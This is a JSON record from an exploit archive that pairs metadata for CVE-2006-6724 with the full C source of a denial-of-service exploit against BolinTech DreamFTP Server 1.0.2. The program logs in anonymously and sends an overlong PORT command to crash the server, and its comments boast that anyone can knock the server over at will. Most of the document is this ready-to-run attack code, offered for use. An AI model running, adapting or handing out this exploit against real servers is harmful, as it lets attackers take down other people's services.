{"exploit":{"id":"EDB-2972","name":"BolinTech DreamFTP Server 1.0.2 - 'PORT' Remote Denial of Service (DoS)","description":"BolinTech DreamFTP Server 1.0.2 - 'PORT' Remote Denial of Service (DoS)","cves":["CVE-2006-6724"],"author":"InTeL","published":"2006-12-21","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2972","path":"exploits/windows/dos/2972.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2972.c","vulnerabilities":[{"id":"CVE-2006-6724","state":"PUBLISHED","title":null,"titleSource":null,"description":"BolinTech Dream FTP Server 1.02 allows remote authenticated users, including anonymous users, to cause a denial of service (application crash) via a certain invalid PORT command.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-6724","cvss":{"version":"2.0","baseScore":4,"severity":"medium","vectorString":"AV:N/AC:L/Au:S/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-6724"},"updatedAt":"2024-08-07T20:34:00.118Z","retrievedAt":"2026-11-26T19:06:54.341Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2972.png?v=2","url":"https://exploitbin.com/exploits/EDB-2972","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2972/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2972/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n=============================================================\nDREAM FTP Server 1.0.2 (PORT) Denial of Service Exploit\n=============================================================\nDiscovered by: InTeL\n*Tested on DREAM FTP v1.02 on Windows XP SP2*\n\nDream FTP v1.02 also has anonymous logins enabled by default\nwhich enables anyone to crash the server at will.\nBut if the anonymous logins have been disabled try it with\na another user/pass account\n\nShoutz: bryan@top-notch.ws , Digerati, Erazerz, everyone else u kno who u are\n*/\n\n#include <winsock2.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n#pragma comment(lib,\"wsock32.lib\")\n\nint usage(char *);\n\n\nint usage(char *filename)\n{\n\t   printf(\"Dream FTP v1.02 DoS exploit\\r\\n\");\n\t   printf(\"By InTeL\\r\\n\");\n\t   printf(\"USAGE: %s <IP_Address> <port>\\r\\n\", filename);\n\n\texit(0);\n}\n\nint main(int argc, char *argv[])\n{\n\tchar evilbuf[40], recvbuf[1028];\n\tunsigned short port;\n\tstruct sockaddr_in saddr;\n\tstruct hostent *he;\n\tWSADATA wsaData;\n\tSOCKET sock;\n\n\tif(argc != 3)\n\t\tusage(argv[0]);\n\n\tport = atoi(argv[2]);\n\tif(WSAStartup(MAKEWORD(2,2), &wsaData) != 0){\n\t\tprintf(\"Unable to initialize Winsock \\n\");\n\t\texit(1);\n\t}\n\n\tif ((sock = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET){\n\t\tprintf(\"Socket Error \\n\");\n\t\texit(1);\n\t}\n\n\tif ((he = gethostbyname(argv[1])) == NULL){\n\t\tprintf(\"Couldnt Resolve %s \\n\",argv[1]);\n\t\texit(1);\n\t}\n\n\tmemset(&saddr, 0, sizeof(saddr));\n\tsaddr.sin_family = AF_INET;\n\tsaddr.sin_addr = *((struct in_addr *)he->h_addr);\n\tsaddr.sin_port = htons(port);\n\n\tif (connect(sock, (struct sockaddr *)&saddr, sizeof(saddr)) == SOCKET_ERROR){\n\t\tprintf(\"Connect Error \\n\");\n      \texit(1);\n\t}\n\n\tfor(int i = 0; i<3;i++){\n\t\tmemset(recvbuf, 0, sizeof(recvbuf));\n\t\trecv(sock, recvbuf, 1027, 0);\n\t}\n\tprintf(\"Logging in\\r\\n\");\n\n\tmemset(evilbuf, 0,sizeof(evilbuf));\n\tstrcpy(evilbuf, \"USER Anonymous\\r\\n\"); //USER\n\tsend (sock, evilbuf, strlen(evilbuf), 0);\n\n\tfor(i=0;i<4;i++){\n\t\tmemset(recvbuf,0,sizeof(recvbuf));\n\t\trecv(sock, recvbuf, 1027, 0);\n   \t}\n\n\tmemset(evilbuf, 0, sizeof(evilbuf));\n\tstrcpy(evilbuf, \"PASS Anonymous\\r\\n\"); //PASS\n\tsend (sock, evilbuf, strlen(evilbuf), 0);\n\n\tfor(i=0; i<3;i++) {\n\t\tmemset(recvbuf, 0, sizeof(recvbuf));\n\t\trecv(sock, recvbuf, 1027, 0);\n   \t}\n\tprintf(\"Building overflow string\\r\\n\");\n\n\tmemset(evilbuf,0,sizeof(evilbuf));\n\tstrcpy(evilbuf, \"PORT \");  //PORT\n\tfor(i = 5;i != 36;i++)\n\t\tevilbuf[i] = 'A';\n   \tstrcat(evilbuf,\"\\r\\n\");\n\n\tsend (sock, evilbuf, strlen(evilbuf), 0);\n\n\tprintf(\"DoS Attack Done\\r\\n\");\n\tclosesocket(sock);\n\n\treturn 0;\n}\n\n// milw0rm.com [2006-12-21]","sha256":"cc5f2d03eafb8c55626a9ad3ec8a027ebf650517bdb15c43ef08e6e469ed8b25","bytes":2574,"fetchedAt":"2026-11-26T19:06:51.179Z","encoding":"utf-8 (display only; download retains original bytes)"}